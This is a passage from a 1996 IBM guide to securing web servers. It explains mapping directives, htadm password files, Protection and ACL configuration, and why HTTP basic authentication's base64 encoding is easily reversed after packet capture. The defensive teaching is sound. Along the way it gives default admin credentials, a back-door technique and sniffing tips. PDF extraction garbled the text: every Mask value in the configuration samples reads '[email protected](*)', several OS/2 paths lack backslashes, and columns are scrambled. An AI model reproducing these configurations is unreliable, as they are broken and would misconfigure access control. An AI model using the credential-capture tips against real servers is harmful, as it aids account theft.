Highway , GG24-2499.
So far, what we have described is just a nifty way to present online documents
across a network. What makes the World Wide Web special is the ability to
define hypermedia links to other servers. Documents in a WWW server are
identified by means of a Uniform Resource Locator (URL), in the form:
protocol://server_name:port/file_name
An HTML document can contain references (usually called links) to URLs on any
system. When the user follows one of those links, the browser program will
establish an HTTP session to the server identified in the URL (server_name) and
request the document contained in file_name. In the example of Figure 1, the
anchor tag <A HREF=http://srv2/thing2.html>Click Here</A> causes the user to
have a line on the screen that says Click Here. After doing so the user will be
automatically connected to server srv2 and will receive the document
thing2.html.
Now we can see how these hypermedia links bind the WWW servers together in
an application-level network. However, unlike a conventional network, there are
no real connections between the servers. The links that form the Web are
simply pointers within HTML documents.
1.2.1.1 Two-Way Traffic: The Common Gateway Interface
As we have described, the World Wide Web is primarily a way to deliver
documents to users, with powerful cross-referencing capabilities. However, it
also provides you with the ability to create simple application dialogs. The
vehicle for this is a special type of HTML document called a form . Forms can
contain input fields, lists for the user to select from and buttons for the user to
click. The result of all this typing, selecting and clicking is to invoke a program
on the server. This facility is called the Common Gateway Interface (CGI). The
CGI is what makes the World Wide Web exciting as a potential place to do
business.
1.2.2 Where the Web Is Vulnerable
When you place your World Wide Web server on the Internet you are inviting
people to come and connect to it; in fact, it would be very disappointing if they
did not connect. However, when you expose the machine to legitimate access
you are also exposing it to attack. A Web server should therefore be protected
like any other application server in the Internet environment, by means of
firewalls and good systems administration practices.
The nature of the World Wide Web application gives some additional areas for
concern. The following list summarizes some of these vulnerabilities:
Chapter 1. Introducing Security into the World Wide Web
5
•
When the user clicks on a link, the system that he is connected to is
determined by what is defined in the document stored on the server. If that
server has been compromised, a hacker could misdirect the user to his own
server.
•
CGI programs are often written ad hoc, rather than being properly designed.
This means that they are likely to contain bugs, which may be exploited by a
hacker. We show some examples of dangerous things to avoid in CGI
scripts in Chapter 3, “Execution Can Be Fatal: CGI Scripts and Java” on
page 27.
•
HTML documents can imbed many different types of data (graphics, sound,
etc). On the browser each data type is associated with a presentation
program, called a viewer. These programs are, themselves, often large and
complex, which means they may well contain bugs. Furthermore, some of
the file formats contain some programmability (a good example of this is
Postscript). A hacker could use these features to execute programs or
install data on the client machine.
1.2.3 What Weapons Are in Our Arsenal?
As we divide the World Wide Web itself into an application layer and an
underlying network layer, we can expect the tools we use to protect it to be
similarly divided.
•
In the application layer, there are two kinds of protection mechanisms that
we can apply:
1. The WWW basic security mechanism. This is a system that uses user
IDs and passwords to apply access control to documents and files in a
Web server. We will describe the way that basic security is applied in
Chapter 2, “Be Careful Who You Talk To: HTTP Basic Security” on
page 7.
2. Encryption-based mechanisms. These systems provide various levels of
authentication, integrity, accountability and privacy by applying
cryptography to the connection. There are several mechanisms, but the
two that are implemented in IBM Internet Connection Family products
are Secure Sockets Layer (SSL) and Secure Hypertext Transfer Protocol
(SHTTP). We will describe these protocols and show examples of
implementing them in Chapter 4, “A Tangled Web: SSL and S-HTTP” on
page 37.
•
6
In the underlying IP network layer, security measures are aimed at
preventing hackers from gaining access to private networks and systems.
Internet firewalls, such as the IBM Internet Connection Family Secure
Network Gateway, are used to protect networks. We will discuss possible
firewall configurations for World Wide Web access in Chapter 7, “Locking the
Front Door: Firewall Considerations” on page 85. Although a firewall can
keep your private network hidden, it is equally important to protect the
systems that are not hidden, such as WWW servers and the firewall itself. In
Chapter 8, “Locking the Back Door: Hardening the Underlying System” on
page 99 we will discuss some of the things that need to be considered.
Safe Surfing: How to Build a Secure WWW Connection
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
Referring to 1.1.1, “Security Objectives” on page 2 we listed access control as
one of our objectives for World Wide Web security. This means that we want to
be able to restrict our server in two ways:
•
It should only deliver documents from within certain directories (for example,
we do not want people to be able to retrieve system files).
•
For certain restricted documents, it should only deliver them to specified
users.
This latter point requires that we also address one of our other security
objectives, authentication, because the server must identify the client user in
order to decide whether to deliver the document or not.
The HTTP standard provides a mechanism called basic authentication to address
this requirement. It is a challenge-response procedure whereby the server
rejects the initial request with the status code 401. The client is then expected to
resend the request with a valid user ID and password in the header. Figure 2
illustrates this process.
Figure 2. The HTTP Basic Authentication Scheme
Basic authentication is not a secure system, because the process it uses to send
the user ID and password (base64 encoding) merely obscures them from casual
 Copyright IBM Corp. 1996
7
view. We will discuss the limitations of basic authentication in 2.3, “How Secure
Is HTTP Basic Authentication?” on page 24.
2.1 Implementing Basic Server Security
In this section we will look at how to set up a Web server and implement basic
authentication using examples of configuring the IBM Internet Connection Secure
Server products.
There are several ways to protect the documents on your Web server:
•
You can simply deny access to files that you do not want users to see.
•
You can allow access only to selected users who will also need to provide a
password.
•
You can allow access only to selected IP addresses or domain names.
•
You can allow users to read HTML forms but not submit them (this method
doesn′t make a lot of sense but it is possible).
•
You can combine all of the above methods.
In addition, the system itself needs to be protected. We will discuss this in
Chapter 8, “Locking the Back Door: Hardening the Underlying System” on
page 99.
2.1.1 Mapping Rules: Defining Where the Documents Are
Once you have installed your server, you will want to start adding HTML and
other documents for it to serve. However you want to be sure that it will serve
only those documents. All Web servers allow you to define mapping rules to
determine which file will really be retrieved when a user requests it.
In the IBM Internet Connection Secure Servers these mapping rules are
contained in the main configuration file which is created during the server
installation. The location of the file is as follows:
AIX
/etc/httpd.conf
OS/2
%ETC%\HTTPD.CNF
Note: The ETC environment variable is defined during TCP/IP
installation. In our case it was set to c:\mptn\etc, so our configuration
file was c:\mptn\etc\httpd.cnf.
The easiest way to update the configuration file is to connect to your fledgling
server using a Web browser and select the Configuration and Administration
Forms option (The full URL is http://your_server/admin-bin/cfgin/initial). These
forms are, themselves, protected by the basic authentication scheme, so you will
be prompted to enter the administrator ID and password (by default these are
webadmin and webibm, respectively). When you access the configuration forms,
changing the default user ID and password should be the first thing you do.
The dialogs in the Configuration and Administration forms cause the server
configuration file to be updated. The alternative approach is to update the
configuration file directly. In this book we will use this latter method, but in each
case we will also refer to the appropriate part of the administration form.
8
Safe Surfing: How to Build a Secure WWW Connection
The mapping directives have two or three elements to them, as follows:
Directive URL-request-template [result-string]
The first component is the directive itself, which tells the server what action to
take when it receives a request for a URL that matches the
URL-request-template (the second component). Some of the directives also
supply a result string. If this is supplied, the server uses it to substitute all or
part of the original request string.
You can use the asterisk (*) as a wildcard character in the request template. If
the template uses a wildcard character, the result string can use the same
wildcard character. Blanks, asterisks, and backslashes are allowed in templates
if they are preceded by a backslash. The tilde ( ∼ ) character just after a slash (in
the beginning of a directory name) has to be explicitly matched; a wildcard
cannot be used to match it.
The directive in a mapping statement can have any of the following values:
Pass
This will cause requests that match the URL template to be accepted.
If you do not use a result string in the directive, the request is
accepted as is. If you do use a result string in the directive, the
request string is first mapped to the result string. The result string is
then used as the request. In either case, the request is not mapped
against any further directives, so the order in which you code Pass
directives is important. For example:
Pass
Pass
Pass
/gif/*
d:\usserv\gif\*
/icons/* d:\usserv\ICONS\*
/*
d:\usserv\html\*
In this case a request for URL http://your_server/gif/pix.gif would
cause file pix.gif to be served from directory d:\usserv\gif. The /*
directive acts as a catchall . Any request that does not match any
previous Pass, Fail or Exec directives is assumed to refer to a file in
directory d:\usserv\html.
Fail
This will cause requests that match the URL template to be rejected
with a 403 (Forbidden - by rule) status code. The request will not be
compared against templates on any successive mapping directives.
For example, the following directive will refuse to serve any requests
for URLs containing file names in the /myprivate directory:
Fail /myprivate/*
Map
This will cause requests that match the URL template to be modified
to a new URL specified by the result-string field. The server then
uses the new result string as the request string for successive
mapping directives.
For example, if the client requested URL
http://your_server/caterpillar/page.html, the following mapping
directives would transform it into
http://your_server/butterfly/page.html:
Map /caterpillar/* /butterfly/*
Pass /butterfly/* c:\moth\html\*
(In this case, the Pass directive causes page.html to actually be
served from directory c:\moth\html).
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
9
Exec
This will invoke the CGI interface. Use this directive to run a CGI
script if the request string matches the URL template. You must put a
single asterisk at the end of both the template and the result string.
The part of the result string before the asterisk identifies the path
where the CGI script is located. The asterisk in the result string is
replaced with the name of the CGI script specified on the request
string.
Optionally, the request string can also contain additional data that is
passed to the CGI script in the PATH_INFO environment variable. The
additional data follows the first slash character that comes after the
CGI script name on the request string. The data is passed according
to CGI specifications.
A request string may already have been transformed by a previous
mapping directive before it is matched against an Exec template. If a
script name begins with the nph- prefix, the server will assume that it
is a no-parse header script. A no-parse header script has output that
is a complete HTTP response requiring no further action
(interpretation or modification) on part of the server.
Exec
\admin-bin\*
d:\usserv\ADMIN\*
In the above example, a request for a URL of
http://your_server/admin-bin/initial would cause the CGI script
d:\usserv\ADMIN\initial to be executed.
Redirect
This sends matching requests to another server. You can use this
directive to send a request that matches the Redirect URL template to
another server. Your server will not tell the requester that the
request is actually being answered by another server. The result
string on this directive must be a full URL.
For example, using the following directive, a request for URL
http://your_server/www/thing1.html would cause file
/newserv/html/thing1.html to be served by server rs600013:
Redirect /www/* http://rs600013/newserv/html/*
(In fact, the file that is really served depends on the mapping
directives in place on the new server, rs600013).
Note that you can use mapping directives to create a virtual hierarchy of Web
resources. Even if your server presents documents that are on different
systems, it can present a consistent virtual layout. This allows you to change
the physical location of files or directories without affecting what the user sees.
2.1.1.1 Creating Mapping Rules
The most important thing to remember when creating mapping rules is that they
are processed sequentially. If you create a rule and find that it is not working as
expected, check that your request does not match some other directive earlier in
the file. The processing sequence for mapping directives is as follows:
1. The request string is compared against the templates in the mapping
directives. Comparisons begin at the top of the configuration file and move
toward the bottom.
2. If a request string matches a Map template exactly, the result string replaces
the original request string. The result string is then used as the request
string for successive mapping directives.
10
Safe Surfing: How to Build a Secure WWW Connection
3. If a request string matches a Map template with a wildcard, then the part of
the request that matches the wildcard is inserted in place of the wildcard in
the result string. If the result string has no wildcard, it is used as it is. The
result string is then used as the request string for successive mapping
directives.
4. If a request string matches Pass, Fail, Redirect, or Exec templates the
request is processed according to that directive. The request is not checked
against any other mapping directives.
You will find the mapping directives in a group together within the configuration
file. You can edit them directly, or select Resource Mapping and then Request
Routing from the Configuration and Administration form. Figure 3 shows an
example of this form. Notice that the form assigns index numbers to the
directives to allow you to place them in the right order. These index numbers
are not saved in the configuration file.
Figure 3. Defining Resource Mapping Directives
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
11
2.1.1.2 Other Mapping Directives
In addition to mapping URL requests to physical files, IBM Internet Connection
Secure Server also binds files to a content-type content-encoding, or
content-language specification. It does this based on the file extension (for
example, files with extensions .jpg, .JPG, .jpe, .JPE, .jpeg or .JPEG are all
assumed to be JPEG graphics format).
The server provides defaults for most commonly used extensions. Use the
extension definition directives only if you need to add new definitions or change
the default definitions.
2.1.1.3 Security Considerations When Using Mapping Directives
Mapping directives give us a simple but robust way to control what a client is
able to access on our WWW server. You should, however, be on your guard
because there are some potential exposures. The following notes give some
ideas of things to watch out for:
•
Make sure that your HTML directories contain only bona fide HTML
documents. You will probably have many people contributing to the content
of the pages provided by your server. You should check that they do not
leave inappropriate material on the disk. For example, it may be that a
publicly accessible document is derived from a report that contains
additional, confidential, data. If someone leaves a copy of the original in an
HTML directory it will be accessible by anyone who knows the file name. In
the same way, beware of editing tools that create save files in the current
directory.
You can counter this threat to some extent by using Pass directives which
will only serve files of a given format (for example, insist on a .htm or .html
extension). You should also perform regular housekeeping to remove files
that are not valid.
•
Monitor your httpd.cnf file. If a hacker breaks into your system, the first thing
he will usually do is to create a back door . This means a method whereby
he can break in again, even if you fix the loophole that he originally used.
One back door technique would be for the hacker to make a directory
containing command scripts (for example, to add a new user ID), and then to
add an Exec directive to the Web server configuration file, pointing to his
new directory.
•
Consider whether you want to leave the directory listing feature of IBM
Internet Connection Secure Server enabled. If the server receives a request
for a URL that includes a directory instead of a specific file name, it performs
the following sequence of actions:
−
If no directory is specified, the server searches the root HTML directory
for a welcome file (welcome file names are defined in the Welcome
directives in the configuration file). For example, when you first bring up
your server, requesting a URL with no file name (for example:
http://your_server) will cause the welcome document, Frntpage.html, to
be served from your default HTML directory.
−
If a directory is specified, the behavior is controlled by two other
directives in the configuration file:
AlwaysWelcome If this is set to On, the process of searching for a
welcome file (above) is performed for the specified directory.
If it is set to Off, the search for a welcome file is only
performed if the directory name ends in a slash (/). If none of
12
Safe Surfing: How to Build a Secure WWW Connection
this yields a welcome file, the server will go on to decide
whether to send the client a listing of the files in the directory.
DirAccess If this is set to On, any request for a directory that fails to
discover a welcome file will return a directory listing.
Figure 4 shows an example of one. If DirAccess is set to Off,
the server will not return directory listings. If it is set to
Selective, the server will only return directory listings for
directories containing a file named .www_browsable.
Figure 4. Directory Listing Example
Why should we restrict directory listings? The reason is that they give a
hacker access to the names of files that are not supposed to be accessible
(that is, files that are not the target of any hypertext links). If you have been
doing a good job of housekeeping on your HTML directories this should not
matter, but if there may be sensitive files in the directories, it is probably
best to set DirAccess to Off or Selective.
•
Watch out for interactions between anonymous FTP and the Web server.
You often want to provide the client with unformatted file access as well as
HTML documents. The technique used for this is anonymous FTP, whereby
the client is given limited FTP access under a user ID of anonymous. From a
client viewpoint, the HTML and FTP access is fully integrated and simply
invoked by switching from a URL beginning with http: to one beginning ftp:.
However, on the server side the access control for anonymous FTP is
separate from HTTP access control. You must make sure that the two
access control mechanisms are in line with each other.
One example of a serious problem of this kind would be if the anonymous
FTP configuration allowed a user to put a file into a directory identified in an
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
13
Exec mapping directive. In this case, a hacker could prepare a damaging
script, use anonymous FTP to put it in place, and then execute it through the
CGI interface.
2.2 Adding Basic Authentication
The mapping directives described in 2.1.1, “Mapping Rules: Defining Where the
Documents Are” on page 8 allow us to specify the directories where different
types of files are located. Next we want to restrict access so that some of those
directories are only available to specific users.
2.2.1 Defining User IDs
As a first step you have to create files containing the list of the users you want
have access to your server and their passwords. These password files are used
by access control list (ACL) files and protection setups. You can create as many
password files as you need for access protection.
On the IBM Internet Connection Secure Servers, password files are created with
the htadm command. This command creates a file that mimics a standard UNIX
password file. It can be created anywhere on the system so long as the Web
server daemon can read it. First you need to initialize the password file, as
follows:
AIX
/usr/lpp/internet/server_root/cgi-bin/htadm -create /etc/httpd.passwd
OS/2
htadm -create d:\usserv\admin\httpd.password
The htadm command on AIX is not in the normal $PATH. You could copy it to
/usr/bin if you use it often. The following examples will omit the complete path
name.
To add a user named ″friend″ with a password of ″secret″ to the file, issue the
following command:
AIX
htadm -adduser /etc/httpd.passwd friend secret ″A friend″
OS/2
htadm -adduser d:usservadminhttpd.password friend secret ″A friend″
This will generate a password file that looks like the following:
AIX
friend:8/5Y0op1SxDhk:A friend
The password has been encrypted with the standard UNIX crypt
subroutine, just like a UNIX password.
OS/2
friend:l4TNer/cTKhK2:A friend
The password has been encrypted using a DES function which is part
of the IBM Internet Connection Secure Server code.
To verify the password for friend, issue the following command:
14
AIX
htadm -check /etc/httpd.passwd friend
OS/2
htadm -check d:usservadminhttpd.password friend
Safe Surfing: How to Build a Secure WWW Connection
You will be prompted to enter the password and the htadm command will tell you
whether it is correct or not.
To change the password for friend from secret to confidential the -passwd option
is used:
AIX
htadm -passwd /etc/httpd.passwd friend confidential
OS/2
htadm -passwd d:\usserv\admin\httpd.password friend confidential
Note that the password is visible in clear text on the create and passwd
operation. It is also stored in the command line history of the OS/2 command
processor or the Korn shell and it can be seen in the process listing ( ps
command) on AIX.
To delete friend and the password from the file, issue the following command:
AIX
htadm -deluser /etc/httpd.passwd friend
OS/2
htadm -deluser d:\usserv\admin\httpd.password friend
2.2.2 Protecting Data via the Configuration File
We now have a set of user IDs defined, so the next step is to identify the
resources that will be accessed only by those users.
In IBM Internet Connection Secure Server, protection can be defined in the
configuration file using a combination of Protect , DefProt and Protection
directives.
Warning:
Make sure that you put the protection setup directives before the Pass and
Exec directives in the configuration file. Otherwise the protection will not
work!
You define a protection setup using Protection directives. There are two ways to
specify them:
1. By coding them directly in the configuration file
2. By placing them in a separate protection file
The Protect and DefProt directives create an association between a URL and a
protection setup. The URL is specified by means of a template, just like the
templates used in the other mapping directives. The simplest approach is just to
use Protect directives to map URL requests onto protection setups. The DefProt
directive adds a further level of indirection to this process. If a Protect directive
does not include a reference to a protection setup, the server will use the setup
defined in the previous matching DefProt directive.
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
15
2.2.2.1 HTTP Methods
When a client sends an HTTP request it includes a method specification which
tells the server what the client wants it to do. So, for example, a request to
retrieve a document will have a method type of GET. When we start to restrict
access to files on the server, we will need to specify which method(s) are
permitted.
In the IBM Internet Connection Secure Server the methods are specified by Mask
specifications, which are part of the Protection directives. The following is a list
of the methods that the servers support and a description of how the server
would respond to a client request containing the method. The description
assumes the method is enabled.
•
•
•
•
GetMask - The server returns whatever data is defined by the URL. If the
URL refers to an executable program, the server returns the output of the
program. Briefly you can receive and display all the HTML pages, but you
cannot submit a form.
PostMask - The request contains data and a URL. The server creates a new
object with the data portion of the request. The server links the new object
to the URL sent on the request. The server gives the new object a URL. The
server sends the URL of the new object back to the client. The new object is
subordinate to the URL contained on the request (the same way a file is
subordinate to a directory or a news article is subordinate to a news group).
POST creates new documents; use PUT to replace existing data.
PutMask - The request contains data and a URL. The URL must already
exist on the server. The server deletes the current data defined by the URL
and replaces it with the new data contained in the request. PUT replaces
existing data; use POST to create new documents. Because PUT lets clients
replace information on your server, it′s extremely important you use
protection rules to define who you want to be able to use this method.
Mask - Mask provides the protection definition for the directives that you
have not explicitly coded.
2.2.2.2 Examples of Basic Implementing Security
The facilities for specifying basic security can be rather confusing, so we will
demonstrate them using some examples. The examples are written for IBM
Internet Connection Secure Server, so we include both AIX and OS/2 versions.
Example 1: Protecting a Directory: The following sample setup protects a
complete subdirectory tree. It assumes a previously allocated server password
file that provides the user IDs and passwords for access control. All the user IDs
in the password file have access. The subdirectory and all its subdirectories can
be accessed only with proper (user ID and password) authentication.
16
Safe Surfing: How to Build a Secure WWW Connection
AIX
The protected subdirectory is /usr/local/www/protected
The server document root is /usr/local/www
The password file is /etc/httpd.passwd
Protection WEB {
Serverid
everyone
AuthType
Basic
GetMask
[email protected](*)
PutMask
[email protected](*)
PostMask
[email protected](*)
Mask
[email protected](*)
PasswdFile /etc/httpd.passwd
}
Protect /protected/* WEB
Pass
/*
/usr/local/www/*
OS/2
The protected subdirectory is d:\usserv\html\protected\
The server document root is d:\usserv\html
The password file is d:\usserv\admin\httpd.password
Protection WEB {
Serverid
everyone
AuthType
Basic
GetMask
[email protected](*)
PutMask
[email protected](*)
PostMask
[email protected](*)
Mask
[email protected](*)
PasswdFile d:\usserv\admin\httpd.password
}
Protect /protected/* WEB
#Protect d:\usserv\html\protected\*
Pass
/*
d:\usserv\html\*
The [email protected](*) construction signifies all users defined in the specified password file.
Note for OS/2 Users
You can use the backslash ″″ or forward slash ″/″ character interchangeably
in the configuration file. You generally do not have to specify a drive letter,
the drive is assumed to be the drive where you installed your server.
Note the Protect statement that has been commented out at the end of the
previous example. The effect of this is exactly the same as the previous
statement, because we have a catchall mapping rule that looks like this:
Pass
/* d:\usserv\html\*
So the commented out Protect statement defines the full file path, whereas
the actual Protect statement defines the relative path from the HTML root
directory defined by the Pass /* directive.
Example 2: Using Protection Files: You do not have to specify all the protection
definitions in the httpd configuration file, you can also use external files if you
wish. They have the same format as the Protection statements in httpd.cnf,
therefore the following two ways of protecting a file are identical:
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
17
AIX
The following lines in /etc/httpd.conf:
Protection WEB {
Serverid
MyServer
AuthType
Basic
GetMask
[email protected](*)
PutMask
[email protected](*)
PostMask
[email protected](*)
Mask
[email protected](*)
PasswdFile /etc/httpd.passwd
}
Protect /protected/* WEB
are equivalent to file /etc/httpd.protection containing the following
lines:
Serverid
AuthType
GetMask
PutMask
PostMask
Mask
PasswdFile
MyServer
Basic
[email protected](*)
[email protected](*)
[email protected](*)
[email protected](*)
/etc/httpd.passwd
Plus the following entry in /etc/httpd.conf:
Protect /protected/* /etc/httpd.protection
OS/2
The following lines in c:\mptn\etc\httpd.cnf
Protection WEB {
Serverid
MyServer
AuthType
Basic
GetMask
[email protected](*)
PutMask
[email protected](*)
PostMask
[email protected](*)
Mask
[email protected](*)
PasswdFile d:\usserv\admin\httpd.passwd
}
Protect /protected/* WEB
Are equivalent to file d:\usserv\admin\httpd.protection containing the
following lines:
Serverid
AuthType
GetMask
PutMask
PostMask
Mask
PasswdFile
MyServer
Basic
[email protected](*)
[email protected](*)
[email protected](*)
[email protected](*)
d:\usserv\admin\httpd.passwd
Plus the following entry in c:\mptn\etc\httpd.cnf:
Protect /protected/* d:\usserv\admin\httpd.protection
Example 3: Using DefProt Templates: Another method for protecting documents
is using the directives DefProt and Protect . The following example is part of the
httpd configuration file. The DefProt statement associates a protection template
with a file. The name and the location of the file can be freely chosen. It
contains the Protection directives that allow or deny access to files.
This type of protection works best for protecting file types. For example, if you
have files that have the file type .htmlp for protected files, you could use DefProt
to set up a protection template for this file type and then use the Protect
statement to activate the protection for certain directory trees.
18
Safe Surfing: How to Build a Secure WWW Connection
AIX
Protection WEB {
Serverid
everytwo
AuthType
Basic
GetMask
[email protected](*)
PutMask
[email protected](*)
PostMask
[email protected](*)
Mask
[email protected](*)
PasswdFile /etc/httpd.passwd
}
DefProt *.htmlp WEB
Protect /*
OS/2
Protection WEB {
Serverid
everytwo
AuthType
Basic
GetMask
[email protected](*)
PutMask
[email protected](*)
PostMask
[email protected](*)
Mask
[email protected](*)
PasswdFile d:\usserv\admin\httpd.password
}
DefProt *.htmlp WEB
Protect /*
Example 4: Allowing Access Only for Specific Users: In the previous example
we used the construction [email protected](*) to signify that all users defined in the password
file are to be given access. We could be even more restrictive, by limiting
access to an individual user ID. In the following example, only the user alberto
will be allowed to access the documents.
AIX
Protection WEB {
Serverid
onlyme
AuthType
Basic
GetMask
alberto
PutMask
alberto
PostMask
alberto
Mask
alberto
PasswdFile /etc/httpd.passwd
}
Protect /protected/* WEB
Pass
/protected/* /home/www/html/protected/*
OS/2
Protection WEB {
Serverid
onlyme
AuthType
Basic
GetMask
alberto
PutMask
alberto
PostMask
alberto
Mask
alberto
PasswdFile d:\usserv\admin\httpd.password
}
Protect /protected/* WEB
Pass
/protected/* d:\www\html\protected\*
This works well for one or two users, but what if you want to give access to a
larger group? One way would be to create a unique password file containing
just the IDs that you want to have access, and then use the [email protected](*) specification.
Another way to do it would be to use group files. Each record in a group file
contains the name of a group and a list of the user IDs in that group. You
reference the file using a GroupFile entry in the Protection directive. Refer to Up
and Running , SC31-8202 (OS/2) or SC31-8203 (AIX) for details on how to construct
group files.
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
19
Example 5: Allowing Access Only to Specific IP Addresses and Domains: In this
example only requests coming from IP address 9.24.104.247 or the domain
my.private.domain) will be asked for a user ID and a password when the
document requested is in the protected directory (/temp in the servers document
root). Requests coming from other IP addresses or domains will be refused. If
the PasswdFile statement was omitted, only the domains and addresses listed
would have access, but without the need for a password.
AIX
OS/2
Protection PROT-SETUP-HOSTS {
ServerId
yourserver
AuthType
Basic
PasswdFile
/etc/http.passwd
GetMask
[email protected](9.24.104.247,
Mask
[email protected](9.24.104.247,
PostMask
[email protected](9.24.104.247,
PutMask
[email protected](9.24.104.247,
}
Protect /temp/*
PROT-SETUP-HOSTS
*.my.private.domain)
*.my.private.domain)
*.my.private.domain)
*.my.private.domain)
Protection PROT-SETUP-HOSTS {
ServerId
yourserver
AuthType
Basic
PasswdFile
d:\usserv\admin\httpd.password
GetMask
[email protected](9.24.104.247, *.my.private.domain)
Mask
[email protected](9.24.104.247, *.my.private.domain)
PostMask
[email protected](9.24.104.247, *.my.private.domain)
PutMask
[email protected](9.24.104.247, *.my.private.domain)
}
Protect /temp/*
PROT-SETUP-HOSTS
2.2.3 Using Access Control List Files
Another method of controlling access to the server is to use access control list
(ACL) files. These are files named .www_acl which reside in the directory of the
files to be protected. ACL files can be used in two ways:
•
As a secondary form of access control, on top of the protection offered by
Protection directives in the httpd.conf file.
•
As the sole form of access control. You still need Protection and Protect
directives, because they define the password file to use and the directory to
protect. However if you code the following line in the Protection directive,
the Mask entries in it will be ignored, so long as there is an ACL file in the
target directory:
ACLOverride
On
An ACL file consists of a series of lines of the form:
file : method : user_or_group
The file specification can contain wildcards (*) in the same way as the definitions
in the Protect directives in the configuration file. The methods supported are
also similar to those found in Protection directives, but without the suffix Mask.
The user or group specification is exactly the same as in a Protection directive.
We will illustrate this with an example. We have a password file
(D:\WWW\httpd.password) containing two user IDs, bob and alice. In our
httpd.cnf file we have the following Protection and Protect directives:
20
Safe Surfing: How to Build a Secure WWW Connection
Protection BOB {
ServerID
Authtype
GetMask
ACLOverride
PasswdFile
}
Myserver
Basic
[email protected](*)
On
D:\WWW\httpd.password
Protect /bobstuff/* BOB
Notice that we are assigning the protection to all files below the /bobstuff
subdirectory (in fact, this maps to D:\usserv\bobstuff on our OS/2 server because
of the catchall Pass directive). We now create a .www_acl file in the bobstuff
directory containing the following lines:
*.html
*.htmx
: GET : [email protected](*)
: GET : bob
Now, user ID alice can retrieve any files with extension html, but only bob can
retrieve files with the special extension, htmx. Any file with a different extension
(neither html or htmx) will not be accessible because there is no ACL entry to
match it. If we had not specified ACLOverride On in the configuration file, this
would not be so.
2.2.4 Example of Accessing a Protected Page
In this example we show the HTML coding and the resulting displays for a
hypertext link to a page using basic authentication.
First we define a home page. Figure 5 shows the HTML coding, including a link
to a document in the protected directory. The protection setup being used is
defined by the httpd.cnf statements shown in “Example 4: Allowing Access Only
for Specific Users” on page 19.
<BODY><TITLE>
Test Page
</TITLE>
<H1>
Test Page
</H1>
<P>
<H2>
Welcome to the local test page<ul>
<li><A HREF=″ http://mcgregor.itso.ral.ibm.com/protected/protect2.html″>Link to Protected page
</ul>
</h2>
<!-- Written by A. Aresi , Doc Date 95/08/16 -->
</BODY></HTML>
Figure 5. HTML Coding for Home Page
The formatted page is shown in Figure 6 on page 22
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
21
Figure 6.
Test.html
Next we click on the Link to Protected Page line. This is a hypertext link to a file
in directory d:\www\html\protected, to which we have allowed access for only
one user ID, alberto. The result of clicking on the link is shown in Figure 7.
Figure 7.
Accessing Protect2.html
We enter the user ID and password correctly and are presented with the
protected document (see Figure 8 on page 23).
22
Safe Surfing: How to Build a Secure WWW Connection
Figure 8. Protect2.html
If we look at the Web server log messages we can follow the sequence of
events. Figure 9 shows the messages as they appear in the server window on
OS/2. You can see the initial request for the home page, the first request for
protect2.html rejected with a 401 (Not Authorized) response, and then the final
successful request.
Figure 9. Server Log w h e n Accessing a Page with Basic Security.
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
23
2.3 How Secure Is HTTP Basic Authentication?
With basic authentication, your server has identified who the client user is by
means of a user ID and password. How sure can you be that the user really is
who he claims to be? To answer this you have to consider the ways in which
the ID and password may have been compromised:
1. The user may have voluntarily given the ID to another person.
2. The user may have written down the ID, and someone may be using it
without his knowledge.
3. Someone may have guessed the password.
4. Someone may have intercepted the user ID and password between client
and server systems.
The first three possibilities are problems which occur in any password-based
system. The normal response to such issues is to suggest better user education
and password rules. This is quite reasonable, and can be effective within a
single enterprise, where you have some control over the users of the system. It
is much less effective in the Internet environment, where the users can come
from many backgrounds and locations.
The last possibility is dependent on the level of protection given to messages by
the HTTP protocol. We mentioned at the start of this chapter that base64
encoding is used to protect the user ID and password. The base64 encoding
system is described in the Multipurpose Internet Mail Extensions (MIME)
standard (RFC1521). It is intended as a mechanism for converting binary data
into a form that can be sent through mail gateways, some of which can only
handle 7-bit ASCII data. The result of this conversion is to mask the contents of
any text string but, although it looks as though the data is encrypted, the
protection that Base64 provides is an illusion.
We will illustrate this with an example. In order to crack a message, the hacker
first has to be able to capture it. There are various ways to do this through
hardware and software and none of them are very difficult. What is more difficult
is finding a suitable point to make the trace. There are numerous techniques
that a hacker can use to divert Internet traffic through his own tracing system,
although they are becoming more complex as firewalls and routing controls
become smarter. Nonetheless, we can assume that this is not an impossible
task for a determined hacker.
For our example we used the DatagLANce LAN analyzer to capture an HTTP
packet that contained a request including a basic authentication header.
Figure 10 shows a dump of the captured frame.
Figure 10. Captured Frame Containing User ID and Password
24
Safe Surfing: How to Build a Secure WWW Connection
The user ID and password are expressed in the form user_id:password before
being encoded. The resulting string in our example is bm86c2VjcmV0.
Figure 11 on page 25 shows how to reverse the base64 encoding and return this
to its original form.
Figure 11. How to Reverse Base64 Encoding
The steps represented in the diagram are as follows:
1. Look up the characters in the base64 conversion table from RFC1521.
2. Convert the resulting numbers into concatenated 6-bit binary strings.
3. Divide the binary string into 8-bit chunks and express as decimal numbers.
4. Convert the numbers into ASCII characters.
Clearly, although base64 does mask the user ID and password from view, it does
not offer any meaningful protection. The situation is made worse by the
stateless nature of the HTTP protocol. What this means is that the server retains
no knowledge about the client once it has served a document. The corollary of
this is that the browser has to provide a user ID and password each time it
requests a page that is protected by basic authentication. From a user′s point of
view this would be very irritating. The way that the mechanism is supposed to
circumvent it is by using the realm name , a label which is passed with the initial
401 status code (see Figure 2 on page 7). The browser should keep track of the
last user ID and password that was entered for the realm and automatically
sends it when challenged by another 401 status. The realm name is in fact the
name that you code in the ServerID entry of the Protection directive (see 2.2.2,
“Protecting Data via the Configuration File” on page 15). In reality, most
browsers take this one stage further. Instead of waiting to be challenged by a
401 code, the browser sends the user ID and password in all subsequent
requests for the same server host (whether the document is protected or not).
Chapter 2. Be Careful Who You Talk To: HTTP Basic Security
25
This method reduces the number of messages being sent, thereby improving
response times. Although this makes our life easier as a user, it is a gift to the
hacker because it is offering him multiple opportunities to capture the password.
We can imagine a situation where a hacker sets up a listening point on a busy
server which uses basic authentication. By filtering for packets containing the
text authentication: basic he can capture a stream of IDs and passwords. One
unfortunate side effect of having many passwords is that people tend to reuse
them on multiple systems. By capturing IDs in this way, therefore, the hacker
